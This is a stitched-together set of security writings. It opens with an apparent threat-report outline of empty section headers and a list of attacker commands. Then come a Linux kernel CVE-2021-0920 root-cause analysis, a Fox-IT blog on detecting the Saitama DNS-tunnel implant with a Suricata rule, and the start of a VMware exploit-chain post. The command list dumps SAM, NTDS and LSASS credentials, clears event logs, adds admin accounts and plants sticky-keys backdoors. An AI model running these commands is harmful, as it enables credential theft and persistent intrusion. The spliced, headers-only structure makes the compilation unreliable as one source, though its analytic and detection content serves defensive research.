Update History

 Executive summary

Post-compromise TTPs

powershell ntdsutil.exe 'ac i ntds' 'ifm' 'create full c:\users\public' q q 

C:\Windows\system32\net user z Lh199211* /add 

C:\Windows\system32\net localgroup administrators z /add

reg save hklm\system system 

reg save hklm\sam sam 

reg save HKLM\security sec

tasklist | findstr lsass 

rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump [LSASS_PID] C:\windows\temp\lsass.dmp full

wevtutil.exe el 

wevtutil.exe cl [LOGNAME]

net user z /delete

netsh advfirewall firewall set rule group=remote desktop new enable=Yes

C:\Windows\System32\msiexec.exe /i C:\Users\[USERNAME]\Pictures\LogMeIn.msi

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\narrator.exe /v Debugger /t REG_SZ /d C:\windows\system32\cmd.exe /f 

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe /v Debugger /t REG_SZ /d C:\windows\system32\cmd.exe /f

Backdoor analysis

/bot/cmd.php?botid=%.8x

/bot/gate.php?botid=%.8x

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36 Edg/99.0.1150.36 Trailer/95.3.1132.33

C:\users\public\win\cmd.exe

Attack attribution

Cisco response and recommendations

Mitre ATT&CK mapping

Indicators of compromise

A deep dive into an in-the-wild Android exploit

Guest Post by Xingyu Jin, Android Security Research

This is part one of a two-part guest blog post, where first we'll look at the root cause of the CVE-2021-0920 vulnerability. In the second post, we'll dive into the in-the-wild 0-day exploitation of the vulnerability and post-compromise modules.

Overview of in-the-wild CVE-2021-0920 exploits

A surveillance vendor named Wintego has developed an exploit for Linux socket syscall 0-day, CVE-2021-0920, and used it in the wild since at least November 2020 based on the earliest captured sample, until the issue was fixed in November 2021.  Combined with Chrome and Samsung browser exploits, the vendor was able to remotely root Samsung devices. The fix was released with the November 2021 Android Security Bulletin, and applied to Samsung devices in Samsung's December 2021 security update.

Google's Threat Analysis Group (TAG) discovered Samsung browser exploit chains being used in the wild. TAG then performed root cause analysis and discovered that this vulnerability, CVE-2021-0920, was being used to escape the sandbox and elevate privileges. CVE-2021-0920 was reported to Linux/Android anonymously. The Google Android Security Team performed the full deep-dive analysis of the exploit.

This issue was initially discovered in 2016 by a RedHat kernel developer and disclosed in a public email thread, but the Linux kernel community did not patch the issue until it was re-reported in 2021.

Various Samsung devices were targeted, including the Samsung S10 and S20. By abusing an ephemeral race condition in Linux kernel garbage collection, the exploit code was able to obtain a use-after-free (UAF) in a kernel sk_buff object. The in-the-wild sample could effectively circumvent CONFIG_ARM64_UAO, achieve arbitrary read / write primitives and bypass Samsung RKP to elevate to root. Other Android devices were also vulnerable, but we did not find any exploit samples against them.

Text extracted from captured samples dubbed the vulnerability “quantum Linux kernel garbage collection”, which appears to be a fitting title for this blogpost.

Introduction

CVE-2021-0920 is a use-after-free (UAF) due to a race condition in the garbage collection system for SCM_RIGHTS. SCM_RIGHTS is a control message that allows unix-domain sockets to transmit an open file descriptor from one process to another. In other words, the sender transmits a file descriptor and the receiver then obtains a file descriptor from the sender. This passing of file descriptors adds complexity to reference-counting file structs. To account for this, the Linux kernel community designed a special garbage collection system. CVE-2021-0920 is a vulnerability within this garbage collection system. By winning a race condition during the garbage collection process, an adversary can exploit the UAF on the socket buffer, sk_buff object. In the following sections, we’ll explain the SCM_RIGHTS garbage collection system and the details of the vulnerability. The analysis is based on the Linux 4.14 kernel.

What is SCM_RIGHTS?

Linux developers can share file descriptors (fd) from one process to another using the SCM_RIGHTS datagram with the sendmsg syscall. When a process passes a file descriptor to another process, SCM_RIGHTS will add a reference to the underlying file struct. This means that the process that is sending the file descriptors can immediately close the file descriptor on their end, even if the receiving process has not yet accepted and taken ownership of the file descriptors. When the file descriptors are in the “queued” state (meaning the sender has passed the fd and then closed it, but the receiver has not yet accepted the fd and taken ownership), specialized garbage collection is needed. To track this “queued” state, this LWN article does a great job explaining SCM_RIGHTS reference counting, and it's recommended reading before continuing on with this blogpost.

Sending

As stated previously, a unix domain socket uses the syscall sendmsg to send a file descriptor to another socket. To explain the reference counting that occurs during SCM_RIGHTS, we’ll start from the sender’s point of view. We start with the kernel function unix_stream_sendmsg, which implements the sendmsg syscall. To implement the SCM_RIGHTS functionality, the kernel uses the structure scm_fp_list for managing all the transmitted file structures. scm_fp_list stores the list of file pointers to be passed.

unix_stream_sendmsg invokes scm_send (af_unix.c#L1886) to initialize the scm_fp_list structure, linked by the scm_cookie structure on the stack.

To be more specific, scm_send → __scm_send → scm_fp_copy (scm.c#L68) reads the file descriptors from the userspace and initializes scm_cookie->fp which can contain SCM_MAX_FD file structures.

Since the Linux kernel uses the sk_buff (also known as socket buffers or skb) object to manage all types of socket datagrams, the kernel also needs to invoke the unix_scm_to_skb function to link the scm_cookie->fp to a corresponding skb object. This occurs in unix_attach_fds (scm.c#L103):

The scm_fp_dup call in unix_attach_fds increases the reference count of the file descriptor that’s being passed so the file is still valid even after the sender closes the transmitted file descriptor later:

Let’s examine a concrete example. Assume we have sockets A and B. The A attempts to pass itself to B. After the SCM_RIGHTS datagram is sent, the newly allocated skb from the sender will be appended to the B’s sk_receive_queue which stores received datagrams:

sk_buff carries scm_fp_list structure

The reference count of A is incremented to 2 and the reference count of B is still 1.

Receiving

Now, let’s take a look at the receiver side unix_stream_read_generic (we will not discuss the MSG_PEEK flag yet, and focus on the normal routine). First of all, the kernel grabs the current skb from sk_receive_queue using skb_peek. Secondly, since scm_fp_list is attached to the skb, the kernel will call unix_detach_fds (link) to parse the transmitted file structures from skb and clear the skb from sk_receive_queue:

The function scm_detach_fds iterates over the list of passed file descriptors (scm->fp) and installs the new file descriptors accordingly for the receiver:

Once the file descriptors have been installed, __scm_destroy (link) cleans up the allocated scm->fp and decrements the file reference count for every transmitted file structure:

Reference Counting and Inflight Counting

As mentioned above, when a file descriptor is passed using SCM_RIGHTS, its reference count is immediately incremented. Once the recipient socket has accepted and installed the passed file descriptor, the reference count is then decremented. The complication comes from the “middle” of this operation: after the file descriptor has been sent, but before the receiver has accepted and installed the file descriptor.

Let’s consider the following scenario:

1. The process creates sockets A and B.
2. A sends socket A to socket B.
3. B sends socket B to socket A.
4. Close A.
5. Close B.

Scenario for reference count cycle

Both sockets are closed prior to accepting the passed file descriptors.The reference counts of A and B are both 1 and can't be further decremented because they were removed from the kernel fd table when the respective processes closed them. Therefore the kernel is unable to release the two skbs and sock structures and an unbreakable cycle is formed. The Linux kernel garbage collection system is designed to prevent memory exhaustion in this particular scenario. The inflight count was implemented to identify potential garbage. Each time the reference count is increased due to an SCM_RIGHTS datagram being sent, the inflight count will also be incremented.

When a file descriptor is sent by SCM_RIGHTS datagram, the Linux kernel puts its unix_sock into a global list gc_inflight_list. The kernel increments unix_tot_inflight which counts the total number of inflight sockets. Then, the kernel increments u->inflight which tracks the inflight count for each individual file descriptor in the unix_inflight function (scm.c#L45) invoked from unix_attach_fds:

Thus, here is what the sk_buff looks like when transferring a file descriptor within sockets A and B:

The inflight count of A is incremented

When the socket file descriptor is received from the other side, the unix_sock.inflight count will be decremented.

Let’s revisit the reference count cycle scenario before the close syscall. This cycle is breakable because any socket files can receive the transmitted file and break the reference cycle: 

Breakable cycle before close A and B

After closing both of the file descriptors, the reference count equals the inflight count for each of the socket file descriptors, which is a sign of possible garbage:

Unbreakable cycle after close A and B

Now, let’s check another example. Assume we have sockets A, B and 𝛼:

1. A sends socket A to socket B.
2. B sends socket B to socket A.
3. B sends socket B to socket 𝛼.
4. 𝛼 sends socket 𝛼 to socket B.
5. Close A.
6. Close B.

Breakable cycle for A, B and 𝛼

The cycle is breakable, because we can get newly installed file descriptor B’ from the socket file descriptor 𝛼 and newly installed file descriptor A' from B’.

Garbage Collection

A high level view of garbage collection is available from lwn.net:

"If, instead, the two counts are equal, that file structure might be part of an unreachable cycle. To determine whether that is the case, the kernel finds the set of all in-flight Unix-domain sockets for which all references are contained in SCM_RIGHTS datagrams (for which f_count and inflight are equal, in other words). It then counts how many references to each of those sockets come from SCM_RIGHTS datagrams attached to sockets in this set. Any socket that has references coming from outside the set is reachable and can be removed from the set. If it is reachable, and if there are any SCM_RIGHTS datagrams waiting to be consumed attached to it, the files contained within that datagram are also reachable and can be removed from the set.

At the end of an iterative process, the kernel may find itself with a set of in-flight Unix-domain sockets that are only referenced by unconsumed (and unconsumable) SCM_RIGHTS datagrams; at this point, it has a cycle of file structures holding the only references to each other. Removing those datagrams from the queue, releasing the references they hold, and discarding them will break the cycle."

To be more specific, the SCM_RIGHTS garbage collection system was developed in order to handle the unbreakable reference cycles. To identify which file descriptors are a part of unbreakable cycles:

1. Add any unix_sock objects whose reference count equals its inflight count to the gc_candidates list.
2. Determine if the socket is referenced by any sockets outside of the gc_candidates list. If it is then it is reachable, remove it and any sockets it references from the gc_candidates list. Repeat until no more reachable sockets are found.
3. After this iterative process, only sockets who are solely referenced by other sockets within the gc_candidates list are left.

Let’s take a closer look at how this garbage collection process works. First, the kernel finds all the unix_sock objects whose reference counts equals their inflight count and puts them into the gc_candidates list (garbage.c#L242):

Next, the kernel removes any sockets that are referenced by other sockets outside of the current gc_candidates list. To do this, the kernel invokes scan_children (garbage.c#138) along with the function pointer dec_inflight to iterate through each candidate’s sk->receive_queue. It decreases the inflight count for each of the passed file descriptors that are themselves candidates for garbage collection (garbage.c#L261):

After iterating through all the candidates, if a gc candidate still has a positive inflight count it means that it is referenced by objects outside of the gc_candidates list and therefore is reachable. These candidates should not be included in the gc_candidates list so the related inflight counts need to be restored.

To do this, the kernel will put the candidate to not_cycle_list instead and iterates through its receiver queue of each transmitted file in the gc_candidates list (garbage.c#L281) and increments the inflight count back. The entire process is done recursively, in order for the garbage collection to avoid purging reachable sockets:

Now gc_candidates contains only “garbage”. The kernel restores original inflight counts from gc_candidates, moves candidates from not_cycle_list back to gc_inflight_list and invokes __skb_queue_purge for cleaning up garbage (garbage.c#L306).

__skb_queue_purge clears every skb from the receiver queue:

There are two ways to trigger the garbage collection process:

1. wait_for_unix_gc is invoked at the beginning of the sendmsg function if there are more than 16,000 inflight sockets
2. When a socket file is released by the kernel (i.e., a file descriptor is closed), the kernel will directly invoke unix_gc.

Note that unix_gc is not preemptive. If garbage collection is already in process, the kernel will not perform another unix_gc invocation.

Now, let’s check this example (a breakable cycle) with a pair of sockets f00 and f01, and a single socket 𝛼:

1. Socket f 00 sends socket f 00 to socket f 01.
2. Socket f 01 sends socket f 01 to socket 𝛼.
3. Close f 00.
4. Close f 01.

Before starting the garbage collection process, the status of socket file descriptors are:

• f 00: ref = 1, inflight = 1
• f 01: ref = 1, inflight = 1
• 𝛼: ref = 1, inflight = 0

Breakable cycle by f 00, f 01 and 𝛼

During the garbage collection process, f 00 and f 01 are considered garbage candidates. The inflight count of f 00 is dropped to zero, but the count of f 01 is still 1 because 𝛼 is not a candidate. Thus, the kernel will restore the inflight count from f 01’s receive queue. As a result, f 00 and f 01 are not treated as garbage anymore.

CVE-2021-0920 Root Cause Analysis

When a user receives SCM_RIGHTS message from recvmsg without the MSG_PEEK flag, the kernel will wait until the garbage collection process finishes if it is in progress. However, if the MSG_PEEK flag is on, the kernel will increment the reference count of the transmitted file structures without synchronizing with any ongoing garbage collection process. This may lead to inconsistency of the internal garbage collection state, making the garbage collector mark a non-garbage sock object as garbage to purge.

recvmsg without MSG_PEEK flag

The kernel function unix_stream_read_generic (af_unix.c#L2290) parses the SCM_RIGHTS message and manages the file inflight count when the MSG_PEEK flag is NOT set. Then, the function unix_stream_read_generic calls unix_detach_fds to decrement the inflight count. Then, unix_detach_fds clears the list of passed file descriptors (scm_fp_list) from the skb:

The unix_notinflight from unix_detach_fds will reverse the effect of unix_inflight by decrementing the inflight count:

Later skb_unlink and consume_skb are invoked from unix_stream_read_generic (af_unix.c#2451) to destroy the current skb. Following the call chain kfree(skb)->__kfree_skb, the kernel will invoke the function pointer skb->destructor (code) which redirects to unix_destruct_scm:

In fact, the unix_detach_fds will not be invoked again here from unix_destruct_scm because UNIXCB(skb).fp is already cleared by unix_detach_fds. Finally, fd_install(new_fd, get_file(fp[i])) from scm_detach_fds is invoked for installing a new file descriptor.

recvmsg with MSG_PEEK flag

The recvmsg process is different if the MSG_PEEK flag is set. The MSG_PEEK flag is used during receive to “peek” at the message, but the data is treated as unread. unix_stream_read_generic will invoke scm_fp_dup instead of unix_detach_fds. This increases the reference count of the inflight file (af_unix.c#2149):

Because the data should be treated as unread, the skb is not unlinked and consumed when the MSG_PEEK flag is set. However, the receiver will still get a new file descriptor for the inflight socket.

recvmsg Examples

Let’s see a concrete example. Assume there are the following socket pairs:

• f 00, f 01
• f 10, f 11

Now, the program does the following operations:

• f 00 → [f 00] → f 01 (means f 00 sends [f 00] to f 01)
• f 10 → [f 00] → f 11
• Close(f 00)

Breakable cycle by f 00, f 01, f 10 and f 11

Here is the status:

• inflight(f 00) = 2, ref(f 00) = 2
• inflight(f 01) = 0, ref(f 01) = 1
• inflight(f 10) = 0, ref(f 10) = 1
• inflight(f 11) = 0, ref(f 11) = 1

If the garbage collection process happens now, before any recvmsg calls, the kernel will choose f 00 as the garbage candidate. However, f 00 will not have the inflight count altered and the kernel will not purge any garbage.

If f 01 then calls recvmsg with MSG_PEEK flag, the receive queue doesn’t change and the inflight counts are not decremented. f 01 gets a new file descriptor f 00' which increments the reference count on f 00:

MSG_PEEK increment the reference count of f 00 while the receive queue is not cleared

Status:

• inflight(f 00) = 2, ref(f 00) = 3
• inflight(f 01) = 0, ref(f 01) = 1
• inflight(f 10) = 0, ref(f 10) = 1
• inflight(f 11) = 0, ref(f 11) = 1

Then, f 01 calls recvmsg without MSG_PEEK flag, f 01’s receive queue is removed. f 01 also fetches a new file descriptor f 00'':

The receive queue of f 01 is cleared and f 01'' is obtained from f 01

Status:

• inflight(f 00) = 1, ref(f 00) = 3
• inflight(f 01) = 0, ref(f 01) = 1
• inflight(f 10) = 0, ref(f 10) = 1
• inflight(f 11) = 0, ref(f 11) = 1

UAF Scenario

From a very high level perspective, the internal state of Linux garbage collection can be non-deterministic because MSG_PEEK is not synchronized with the garbage collector. There is a race condition where the garbage collector can treat an inflight socket as a garbage candidate while the file reference is incremented at the same time during the MSG_PEEK receive. As a consequence, the garbage collector may purge the candidate, freeing the socket buffer, while a receiver may install the file descriptor, leading to a UAF on the skb object.

Let’s see how the captured 0-day sample triggers the bug step by step (simplified version, in reality you may need more threads working together, but it should demonstrate the core idea). First of all, the sample allocates the following socket pairs and single socket 𝛼:

• f 00, f 01
• f 10, f 11
• f 20, f 21
• f 30, f 31
• sock 𝛼 (actually there might be even thousands of 𝛼 for protracting the garbage collection process in order to evade a BUG_ON check which will be introduced later).

Now, the program does the below operations:

Close the following file descriptors prior to any recvmsg calls:

• Close(f 00)
• Close(f 01)
• Close(f 11)
• Close(f 10)
• Close(f 30)
• Close(f 31)
• Close(𝛼)

Here is the status:

• inflight(f 00) = N + 1, ref(f 00) = N + 1
• inflight(f 01) = 2, ref(f 01) = 2
• inflight(f 10) = 3, ref(f 10) = 3
• inflight(f 11) = 1, ref(f 11) = 1
• inflight(f 20) = 0, ref(f 20) = 1
• inflight(f 21) = 0, ref(f 21) = 1
• inflight(f 31) = 1, ref(f 31) = 1
• inflight(𝛼) = 1, ref(𝛼) = 1

If the garbage collection process happens now, the kernel will do the following scrutiny:

• List f 00, f 01, f 10,  f 11, f 31, 𝛼 as garbage candidates. Decrease inflight count for the candidate children in each receive queue.
• Since f 21 is not considered a candidate, f 11’s inflight count is still above zero.
• Recursively restore the inflight count.
• Nothing is considered garbage.

A potential skb UAF by race condition can be triggered by:

1. Call recvmsg with MSG_PEEK flag from f 21 to get f 11’.
2. Call recvmsg with MSG_PEEK flag from f 11 to get f 10’.
3. Concurrently do the following operations:

1. Call recvmsg without MSG_PEEK flag from f 11 to get f 10’’.
2. Call recvmsg with MSG_PEEK flag from f 10’

How is it possible? Let’s see a case where the race condition is not hit so there is no UAF:

However, if the second recvmsg occurs just after stage 1 of the garbage collection process, the UAF is triggered:

Therefore, the race condition causes a UAF of the skb object. At first glance, we should blame the second recvmsg syscall because it clears skb.fp, the passed file list. However, if the first recvmsg syscall doesn’t set the MSG_PEEK flag, the UAF can be avoided because unix_notinflight is serialized with the garbage collection. In other words, the kernel makes sure the garbage collection is either not processed or finished before decrementing the inflight count and removing the skb. After unix_notinflight, the receiver obtains f11' and inflight sockets don't form an unbreakable cycle.

Since MSG_PEEK is not serialized with the garbage collection, when recvmsg is called with MSG_PEEK set, the kernel still considers f 11 as a garbage candidate. For this reason, the following next recvmsg will eventually trigger the bug due to the inconsistent state of the garbage collection process.

Patch Analysis

CVE-2021-0920 was found in 2016

The vulnerability was initially reported to the Linux kernel community in 2016. The researcher also provided the correct patch advice but it was not accepted by the Linux kernel community:

Patch was not applied in 2016

In theory, anyone who saw this patch might come up with an exploit against the faulty garbage collector.

Patch in 2021

Let’s check the official patch for CVE-2021-0920. For the MSG_PEEK branch, it requests the garbage collection lock unix_gc_lock before performing sensitive actions and immediately releases it afterwards:

The patch is confusing - it’s rare to see such lock usage in software development. Regardless, the MSG_PEEK flag now waits for the completion of the garbage collector, so the UAF issue is resolved.

BUG_ON Added in 2017

Andrey Ulanov from Google in 2017 found another issue in unix_gc and provided a fix commit. Additionally, the patch added a BUG_ON for the inflight count:

At first glance, it seems that the BUG_ON can prevent CVE-2021-0920 from being exploitable. However, if the exploit code can delay garbage collection by crafting a large amount of fake garbage,  it can waive the BUG_ON check by heap spray.

New Garbage Collection Discovered in 2021

CVE-2021-4083 deserves an honorable mention: when I discussed CVE-2021-0920 with Jann Horn and Ben Hawkes, Jann found another issue in the garbage collection, described in the Project Zero blog post Racing against the clock -- hitting a tiny kernel race window.

Part I Conclusion

To recap, we have discussed the kernel internals of SCM_RIGHTS and the designs and implementations of the Linux kernel garbage collector. Besides, we have analyzed the behavior of MSG_PEEK flag with the recvmsg syscall and how it leads to a kernel UAF by a subtle and arcane race condition.

The bug was spotted in 2016 publicly, but unfortunately the Linux kernel community did not accept the patch at that time. Any threat actors who saw the public email thread may have a chance to develop an LPE exploit against the Linux kernel.

In part two, we'll look at how the vulnerability was exploited and the functionalities of the post compromise modules.

Max Groot & Ruud van Luijk

TL;DR

A recently uncovered malware sample dubbed ‘Saitama’ was uncovered by security firm Malwarebytes in a weaponized document, possibly targeted towards the Jordan government. This Saitama implant uses DNS as its sole Command and Control channel and utilizes long sleep times and (sub)domain randomization to evade detection. As no server-side implementation was available for this implant, our detection engineers had very little to go on to verify whether their detection would trigger on such a communication channel. This blog documents the development of a Saitama server-side implementation, as well as several approaches taken by Fox-IT / NCC Group’s Research and Intelligence Fusion Team (RIFT) to be able to detect DNS-tunnelling implants such as Saitama.

Introduction

For its Managed Detection and Response (MDR) offering, Fox-IT is continuously building and testing detection coverage for the latest threats. Such detection efforts vary across all tactics, techniques, and procedures (TTP’s) of adversaries, an important one being Command and Control (C2). Detection of Command and Control involves catching attackers based on the communication between the implants on victim machines and the adversary infrastructure.  

In May 2022, security firm Malwarebytes published a two¹-part² blog about a malware sample that utilizes DNS as its sole channel for C2 communication. This sample, dubbed ‘Saitama’, sets up a C2 channel that tries to be stealthy using randomization and long sleep times. These features make the traffic difficult to detect even though the implant does not use DNS-over-HTTPS (DoH) to encrypt its DNS queries.  

Although DNS tunnelling remains a relatively rare technique for C2 communication, it should not be ignored completely. While focusing on Indicators of Compromise (IOC’s) can be useful for retroactive hunting, robust detection in real-time is preferable. To assess and tune existing coverage, a more detailed understanding of the inner workings of the implant is required. This blog will use the Saitama implant to illustrate how malicious DNS tunnels can be set-up in a variety of ways, and how this variety affects the detection engineering process.  

To assist defensive researchers, this blogpost comes with the publication of a server-side implementation of Saitama. This can be used to control the implant in a lab environment. Moreover, ‘on the wire’ recordings of the implant that were generated using said implementation are also shared as PCAP and Zeek logs. This blog also details multiple approaches towards detecting the implant’s traffic, using a Suricata signature and behavioural detection. 

Reconstructing the Saitama traffic 

The behaviour of the Saitama implant from the perspective of the victim machine has already been documented elsewhere³. However, to generate a full recording of the implant’s behaviour, a C2 server is necessary that properly controls and instructs the implant. Of course, the source code of the C2 server used by the actual developer of the implant is not available. 

If you aim to detect the malware in real-time, detection efforts should focus on the way traffic is generated by the implant, rather than the specific domains that the traffic is sent to. We strongly believe in the “PCAP or it didn’t happen” philosophy. Thus, instead of relying on assumptions while building detection, we built the server-side component of Saitama to be able to generate a PCAP. 

The server-side implementation of Saitama can be found on the Fox-IT GitHub page. Be aware that this implementation is a Proof-of-Concept. We do not intend on fully weaponizing the implant “for the greater good”, and have thus provided resources to the point where we believe detection engineers and blue teamers have everything they need to assess their defences against the techniques used by Saitama.  

Let’s do the twist

The usage of DNS as the channel for C2 communication has a few upsides and quite some major downsides from an attacker’s perspective. While it is true that in many environments DNS is relatively unrestricted, the protocol itself is not designed to transfer large volumes of data. Moreover, the caching of DNS queries forces the implant to make sure that every DNS query sent is unique, to guarantee the DNS query reaches the C2 server.  

For this, the Saitama implant relies on continuously shuffling the character set used to construct DNS queries. While this shuffle makes it near-impossible for two consecutive DNS queries to be the same, it does require the server and client to be perfectly in sync for them to both shuffle their character sets in the same way.  

On startup, the Saitama implant generates a random number between 0 and 46655 and assigns this to a counter variable. Using a shared secret key (“haruto” for the variant discussed here) and a shared initial character set (“razupgnv2w01eos4t38h7yqidxmkljc6b9f5”), the client encodes this counter and sends it over DNS to the C2 server. This counter is then used as the seed for a Pseudo-Random Number Generator (PRNG). Saitama uses the Mersenne Twister to generate a pseudo-random number upon every ‘twist’. 

To encode this counter, the implant relies on a function named ‘_IntToString’. This function receives an integer and a ‘base string’, which for the first DNS query is the same initial, shared character set as identified in the previous paragraph. Until the input number is equal or lower than zero, the function uses the input number to choose a character from the base string and prepends that to the variable ‘str’ which will be returned as the function output. At the end of each loop iteration, the input number is divided by the length of the baseString parameter, thus bringing the value down. 

To determine the initial seed, the server has to ‘invert’ this function to convert the encoded string back into its original number. However, information gets lost during the client-side conversion because this conversion rounds down without any decimals. The server tries to invert this conversion by using simple multiplication. Therefore, the server might calculate a number that does not equal the seed sent by the client and thus must verify whether the inversion function calculated the correct seed. If this is not the case, the server literately tries higher numbers until the correct seed is found.   

Once this hurdle is taken, the rest of the server-side implementation is trivial. The client appends its current counter value to every DNS query sent to the server. This counter is used as the seed for the PRNG. This PRNG is used to shuffle the initial character set into a new one, which is then used to encode the data that the client sends to the server. Thus, when both server and client use the same seed (the counter variable) to generate random numbers for the shuffling of the character set, they both arrive at the exact same character set. This allows the server and implant to communicate in the same ‘language’. The server then simply substitutes the characters from the shuffled alphabet back into the ‘base’ alphabet to derive what data was sent by the client.  

Twist, Sleep, Send, Repeat

Many C2 frameworks allow attackers to manually set the minimum and maximum sleep times for their implants. While low sleep times allow attackers to more quickly execute commands and receive outputs, higher sleep times generate less noise in the victim network. Detection often relies on thresholds, where suspicious behaviour will only trigger an alert when it happens multiple times in a certain period.  

The Saitama implant uses hardcoded sleep values. During active communication (such as when it returns command output back to the server), the minimum sleep time is 40 seconds while the maximum sleep time is 80 seconds. On every DNS query sent, the client will pick a random value between 40 and 80 seconds. Moreover, the DNS query is not sent to the same domain every time but is distributed across three domains. On every request, one of these domains is randomly chosen. The implant has no functionality to alter these sleep times at runtime, nor does it possess an option to ‘skip’ the sleeping step altogether.  

These sleep times and distribution of communication hinder detection efforts, as they allow the implant to further ‘blend in’ with legitimate network traffic. While the traffic itself appears anything but benign to the trained eye, the sleep times and distribution bury the ‘needle’ that is this implant’s traffic very deep in the haystack of the overall network traffic.  

For attackers, choosing values for the sleep time is a balancing act between keeping the implant stealthy while keeping it usable. Considering Saitama’s sleep times and keeping in mind that every individual DNS query only transmits 15 bytes of output data, the usability of the implant is quite low. Although the implant can compress its output using zlib deflation, communication between server and client still takes a lot of time. For example, the standard output of the ‘whoami /priv’ command, which once zlib deflated is 663 bytes, takes more than an hour to transmit from victim machine to a C2 server. 

The implant does contain a set of hardcoded commands that can be triggered using only one command code, rather than sending the command in its entirety from the server to the client. However, there is no way of knowing whether these hardcoded commands are even used by attackers or are left in the implant as a means of misdirection to hinder attribution. Moreover, the output from these hardcoded commands still has to be sent back to the C2 server, with the same delays as any other sent command. 

Detection

Detecting DNS tunnelling has been the subject of research for a long time, as this technique can be implemented in a multitude of different ways. In addition, the complications of the communication channel force attackers to make more noise, as they must send a lot of data over a channel that is not designed for that purpose. While ‘idle’ implants can be hard to detect due to little communication occurring over the wire, any DNS implant will have to make more noise once it starts receiving commands and sending command outputs. These communication ‘bursts’ is where DNS tunnelling can most reliably be detected. In this section we give examples of how to detect Saitama and a few well-known tools used by actual adversaries.  

Signature-based 

Where possible we aim to write signature-based detection, as this provides a solid base and quick tool attribution. The randomization used by the Saitama implant as outlined previously makes signature-based detection challenging in this case, but not impossible. When actively communicating command output, the Saitama implant generates a high number of randomized DNS queries. This randomization does follow a specific pattern that we believe can be generalized in the following Suricata rule: 

alert dns $HOME_NET any -> any 53 (msg:"FOX-SRT - Trojan - Possible Saitama Exfil Pattern Observed"; flow:stateless; content:"|00 01 00 00 00 00 00 00|"; byte_test:1,>=,0x1c,0,relative; fast_pattern; byte_test:1,<=,0x1f,0,relative; dns_query; content:"."; content:"."; distance:1; content:!"."; distance:1; pcre:"/^(?=[0-9]+[a-z]\|[a-z]+[0-9])[a-z0-9]{28,31}\.[^.]+\.[a-z]+$/"; threshold:type both, track by_src, count 50, seconds 3600; classtype:trojan-activity; priority:2; reference:url, https://github.com/fox-it/saitama-server; metadata:ids suricata; sid:21004170; rev:1;) 

This signature may seem a bit complex, but if we dissect this into separate parts it is intuitive given the previous parts. 

 
The choice for 28-31 characters is based on the structure of DNS queries containing output. First, one byte is dedicated to the ‘send and receive’ command code. Then follows the encoded ID of the implant, which can take between 1 and 3 bytes. Then, 2 bytes are dedicated to the byte index of the output data. Followed by 20 bytes of base-32 encoded output. Lastly the current value for the ‘counter’ variable will be sent. As this number can range between 0 and 46656, this takes between 1 and 5 bytes. 

Behaviour-based 

The randomization that makes it difficult to create signatures is also to the defender’s advantage: most benign DNS queries are far from random. As seen in the table below, each hack tool outlined has at least one subdomain that has an encrypted or encoded part. While initially one might opt for measuring entropy to approximate randomness, said technique is less reliable when the input string is short. The usage of N-grams, an approach we have previously written about⁴, is better suited.  

Unfortunately, the detection of randomness in DNS queries is by itself not a solid enough indicator to detect DNS tunnels without yielding large numbers of false positives. However, a second limitation of DNS tunnelling is that a DNS query can only carry a limited number of bytes. To be an effective C2 channel an attacker needs to be able to send multiple commands and receive corresponding output, resulting in (slow) bursts of multiple queries.  

This is where the second step for behaviour-based detection comes in: plainly counting the number of unique queries that have been classified as ‘randomized’. The specifics of these bursts differ slightly between tools, but in general, there is no or little idle time between two queries. Saitama is an exception in this case. It uses a uniformly distributed sleep between 40 and 80 seconds between two queries, meaning that on average there is a one-minute delay. This expected sleep of 60 seconds is an intuitive start to determine the threshold. If we aggregate over an hour, we expect 60 queries distributed over 3 domains. However, this is the mean value and in 50% of the cases there are less than 60 queries in an hour.  

To be sure we detect this, regardless of random sleeps, we can use the fact that the sum of uniform random observations approximates a normal distribution. With this distribution we can calculate the number of queries that result in an acceptable probability. Looking at the distribution, that would be 53. We use 50 in our signature and other rules to incorporate possible packet loss and other unexpected factors. Note that this number varies between tools and is therefore not a set-in-stone threshold. Different thresholds for different tools may be used to balance False Positives and False Negatives. 

In summary, combining detection for random-appearing DNS queries with a minimum threshold of random-like DNS queries per hour, can be a useful approach for the detection of DNS tunnelling. We found in our testing that there can still be some false positives, for example caused by antivirus solutions. Therefore, a last step is creating a small allow list for domains that have been verified to be benign. 

While more sophisticated detection methods may be available, we believe this method is still powerful (at least powerful enough to catch this malware) and more importantly, easy to use on different platforms such as Network Sensors or SIEMs and on diverse types of logs. 

Conclusion

When new malware arises, it is paramount to verify existing detection efforts to ensure they properly trigger on the newly encountered threat. While Indicators of Compromise can be used to retroactively hunt for possible infections, we prefer the detection of threats in (near-)real-time. This blog has outlined how we developed a server-side implementation of the implant to create a proper recording of the implant’s behaviour. This can subsequently be used for detection engineering purposes. 

Strong randomization, such as observed in the Saitama implant, significantly hinders signature-based detection. We detect the threat by detecting its evasive method, in this case randomization. Legitimate DNS traffic rarely consists of random-appearing subdomains, and to see this occurring in large bursts to previously unseen domains is even more unlikely to be benign.  

Resources

With the sharing of the server-side implementation and recordings of Saitama traffic, we hope that others can test their defensive solutions.  

The server-side implementation of Saitama can be found on the Fox-IT GitHub.  

This repository also contains an example PCAP & Zeek logs of traffic generated by the Saitama implant. The repository also features a replay script that can be used to parse executed commands & command output out of a PCAP. 

References

[1] https://blog.malwarebytes.com/threat-intelligence/2022/05/apt34-targets-jordan-government-using-new-saitama-backdoor/ 
[2] https://blog.malwarebytes.com/threat-intelligence/2022/05/how-the-saitama-backdoor-uses-dns-tunnelling/ 
[3] https://x-junior.github.io/malware%20analysis/2022/06/24/Apt34.html
[4] https://blog.fox-it.com/2019/06/11/using-anomaly-detection-to-find-malicious-domains/   

On March 2nd, I reported several security vulnerabilities to VMWare impacting their Identity Access Management (IAM) solution. In this blog post I will discuss some of the vulnerabilities I found, the motivation behind finding such vulnerabilities and how companies can protect themselves. The result of the research project concludes with a pre-authenticated remote root exploit chain nicknamed Hekate. The advisories and patches for these vulnerabilities can be found in the references section.

Introduction

Single Sign On (SSO) has become the dominant authentication scheme to login to several related, yet independent, software systems. At the core of this are the identity providers (IdP). Their role is to perform credential verification and to supply a signed token containing assertions that a service providers (SP) can consume for access control. This is implemented using a protocol called Security Assertion Markup Language (SAML).

